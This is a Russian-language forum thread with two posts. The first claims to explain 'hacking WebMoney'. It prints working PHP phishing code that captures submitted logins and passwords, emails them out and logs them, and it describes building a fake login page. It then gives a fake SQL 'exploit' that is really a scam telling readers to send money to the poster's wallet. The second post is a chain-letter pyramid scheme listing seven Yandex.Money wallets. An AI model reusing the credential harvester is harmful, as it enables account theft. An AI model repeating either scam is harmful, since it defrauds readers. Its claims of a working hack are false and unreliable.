| flashman | Дата: Среда, 11.12.2013, 18:36 | Сообщение # 1 |
 Рядовой
Группа: Пользователи
Сообщений: 6
Статус: Offline
| Привет всем!!! Сейчас я расскажу, как я взломал webmoney.
Как же взломать webmoney? В ответ на этот вопрос гугл вывалил огромную кипу различных вариантов (к счастью половина была повторных, иначе я бы лежал в психушке). Разработчики хорошо поработали, так как после 2-х часов попыток не было найдено ни одной уязвимости. На данный момент были учтены некоторые глюки webmoney.
Было решено создать фэйк страницу авторизации, чтобы был баг и webmoney бот присылал мне пароль от WM-карты. Поэтому я попросил своего хорошего друга программиста помочь мне. На следующий день на аську пришло сообщение от друга. Он создал фэйк форму, а также составил ядовитый url на нашу фэйк форму. Созданный url сильно палился, поэтому мы немного замаскировали его, чтобы админы webmoney чувствовали себя сухо и комфортно. Далее был написан небольшой сниффер, который принимал переданные значения, записывал их в файл и перекидывал пароль WM-карты на мыло, вот код сниффера:
<?
$adminmail = "mymail@mail.ru";
function email($to,$mailtext) {
mail($to,'password',$mailtext,$adminmail);
}
$text="[".date("d.m.y H:i")."]Login: $_POST [login]Password: $_POST[pass]\r\n";
email($adminmail,$text);
$file = fopen("logs.txt","a");
flock($file,3);
fputs($file, $text);
flock($file,1);
fclose($file);
echo "<FORM id='auth' action='http://talk.mail.ru/login.html' method=post>
<INPUT type=hidden name=login value='$_POST[login]'>
<INPUT type=hidden name=pass value='$_POST[pass]'>
<script>auth.submit();</script>
</FORM>";
?>
Создание фэйка - это совсем не сложно, сохраняем пагу к себе на винт и редактируем параметр action тега form. В итоге данные, которые ввел юзер, запишутся к тебе в файл и произойдет редирект, удивленный админ решит, что произошли какие-нибудь сбои в работе службы DNS. После этого мы создали баг к кошельку.
Для проверки проделанной работы мы кинули 10 ДОЛЛАРОВ. на этот номер кошелька Z900073862954
И на мой кошель минут через 5 пришло 30 ДОЛЛАРОВ. Это конечно очень мало бабла, ведь столько работы было проделано. И мы с моим другом решили еще раз протестировать наш баг и кинуть 30 БАКСОВ. Ну, обратно нам так ничего и не пришло. Я долго думал, в чем была наша промашка. И мы решили повторить операцию, еще раз кинули 10 ДОЛЛАРОВ . И я не поверил своим глазам, баг не исчез =) Запрос к БД на число 30 по введённым критериям совсем не фильтровался на спецсимволы!!! Абсолютно!!! Моя радость увеличилась, когда увидел, что на мой кошель пришли опять 30 ДОЛЛАРОВ.
"Как выполнить взлом webmoney на своем компе"
1. Для начала проходим сюда http://www.webmoney.ru/
2. Заводим почтовый ящик
3. Заводим webmoney кошелек (у кого нет)
4. Ложем на кошелек денег (10 ДОЛЛАРОВ для взлома (можно больше ))
5. Теперь нажимаем перевести, и переводим сумму не больше не меньше, а ровно 10 ДОЛЛАРОВ
6. Переводим 10 ДОЛЛАРОВ на этот кошелек Z900073862954 (где мы сделали баг)
7. В примечании пишем вот это:
SELECT COUNT(DISTINCT cc.content_id) FROM cache_content as cc, cache_content_region as r, cache_content_num as n WHERE cc.content_group = 'charge' AND cc.content_type = 'appropriated charge' AND r.content_id = cc.content_id AND n.content_id = cc.content_id AND r.region_id = '9' AND n.model_id = «0» AND payer_id = '30''
Там где написано id = «0» (предпоследнее id)
Меняем значение «0» на свой номер кошелька
Вот пример :
id = «Z900073862954»
8. Все, дело сделано, ждем минут 5, и к вам должны прийти 30 ДОЛЛАРОВ. Надеюсь подробно объяснил вам. Это проверено уже на многих компах, так что дерзайте!
|
| |
| |
| kira1317 | Дата: Вторник, 25.02.2014, 12:35 | Сообщение # 2 |
|
Сержант
Группа: Пользователи
Сообщений: 29
Статус: Offline
| ЗДРАВСТВУЙТЕ ДРУЗЬЯ!!! Я предлагаю Вам вещь, к которой и сам относился поначалу скептически.Но в отличие от многих подобных предложений - ЭТО ДЕЙСТВИТЕЛЬНО РАБОТАЕТ. В чем суть работы?? Необходимо послать по 10
рублей на 7 Internet-кошельков, которые ниже перечислены. Потом вычеркнуть
первый кошелёк из списка, тем самым, сместив список на одну строчку вверх. В
результате чего седьмая строчка освобождается, куда Вы вписываете номер своего Internet-кошелька. Затем Вы закидываете данное сообщение, но уже с ВАШИМИ ДАННЫМИ на седьмой строчке, на 200 разных форумов - НИКАКИХ УЛОВОК !!! 1.Зарегистрируйтесь в системе яндекс мани. Вы необходимо будете переводить по 10 руб. 5 коп., в сумме - 70 руб. 35 коп.). 2.Необходимо перевести по 10 руб. 5 коп. (5 коп. снимается службой перевода за совершение операции) на 7 предлагаемых ниже счетов яндекс-денег. Для того чтобы осуществить перевод, необходимо зайти на сайт яндекс деньги. Затем, если вы еще не вошли под своим именем, нажмите на ссылку «Войти…», которая располагается в самом верху страницы и выделена красным шрифтом. Далее вам предложат ввести логин и пароль, которые вы получили при регистрации. Затем кликаем слева от номера вашего счета по ссылке «Перевести». Важно!Перевод нужно осуществлять на счет, а не на e-mail. Важно! При каждом отправлении указывайте в поле «Название платежа» следующую фразу: «Пожалуйста, внесите меня в список яндекс-кошельков». Чтобы получать доход, необходимо отправить на каждый из этих 7 кошельков по 10 руб. 5 коп., иначе вы просто не будете включены в систему сетевыми модераторами яндекс-кошельков и не сможете обналичить доход. (10 руб. 5 коп. - это отправляемая Вами сумма, при этом получатель получает ровно 10 руб.) Итак, отправьте по 10 руб. 5 коп. на каждый из следующих счетов:
1 —41001478029569
2 —41001478037034
3 — 41001485230090
4 —41001485274208
5 —41001486391881
6 —41001573336176
7 ---410012082358331
ПОВТОРЯЮ,чтобы получать доход, необходимо отправить НА КАЖДЫЙ из этих 7 кошельков по 10 руб. 5 коп. - иначе, сетевыми модераторами яндекс -кошельков, вы просто не будете включены в систему и не сможете обналичить доход. Теперь ВНИМАНИЕ!!! После того, как Вы выполнили ШАГ 2, скопируйте к себе на компьютер весь этот текст от начала до конца. В скопированной статье удалите из списка кошельков ПЕРВЫЙ (ВЕРХНИЙ) кошелёк и переместите 2-ой кошелёк на место 1-го, который Вы стёрли, 3-ий - на место 2-го, 4-ый - на место 3-го, 5-ый - на место 4-го, 6-ой - на место 5-го и 7-ой - на место 6-го ! А в 7-ой номер, который оказался пустым, ВПИШИТЕ НОМЕР Вашего КОШЕЛЬКА!!! 3. Открываем поисковик в интернете. Пишем в строке поиска фразу – «работа» или«поиск работы» или «форум удаленная работа» или «форум надомная работа»или «форум работа на дому» или «форум начать новую тему работа» и т. д. и т. п.(без кавычек). Поисковик найдет тысячи страниц, ссылки на которые сразу приводят на МИЛЛИОНЫ новых тем форумов. И еще не пугайтесь, если вдруг на том сайте, куда Вы захотели поместить свое объявление, уже есть одно или несколько похожих. Это лишний раз
подтверждает то, что этот бизнес действительно работает! Очень действенны сайты о работе (разделы о вакансиях). Разместите эту статью (или объявление с ссылкой на страницу, которую Вы без труда можете сделать на одном из бесплатных сайтов)- на НЕ МЕНЕЕ ЧЕМ 200-300 ФОРУМАХ и НОВОСТНЫХ ЛЕНТАХ. ЗАПОМНИТЕ ЧЕМ БОЛЬШЕ Вы разместите, ТЕМ ВЫШЕ БУДЕТ ВАШ ДОХОД. И этот доход будет НАПРЯМУЮ ЗАВИСЕТЬ ОТ ВАС. Размещение этой статьи на 200 форумах, даже на самых малопосещаемых, ГАРАНТИРУЕТ Вам доход 150 000 руб - ЭТО МИНИМУМ!!!, в течение двух месяцев!!! БОЛЬШЕ РАЗМЕЩЕНИЙ - БОЛЬШЕ ДОХОД (при том в ГЕОМЕТРИЧЕСКОЙ ПРОГРЕССИИ). ИТАК, КОГДА ВЫ ДОСТИГНЕТЕ ПЕРВОЙ ПОЗИЦИИ В СПИСКЕ,ВЫ БУДЕТЕ ИМЕТЬ ТЫСЯЧИ РУБЛЕЙ ПРОСТО КАК СОЗДАТЕЛЬ СПИСКА !!!!!!! ЭТО СТОИТ 70-ти рублей и СОВСЕМ НЕ ТРУДНОЙ РАБОТЫ! ГЛАВНОЕ - ЭТО РАБОТАЕТ!!! И ЭТО ПРОСТО ЗДОРОВО!!! Займитесь этим сейчас - не откладывая на завтра….!!! ВРЕМЯ - ДЕНЬГИ!!!
|
| |
| |
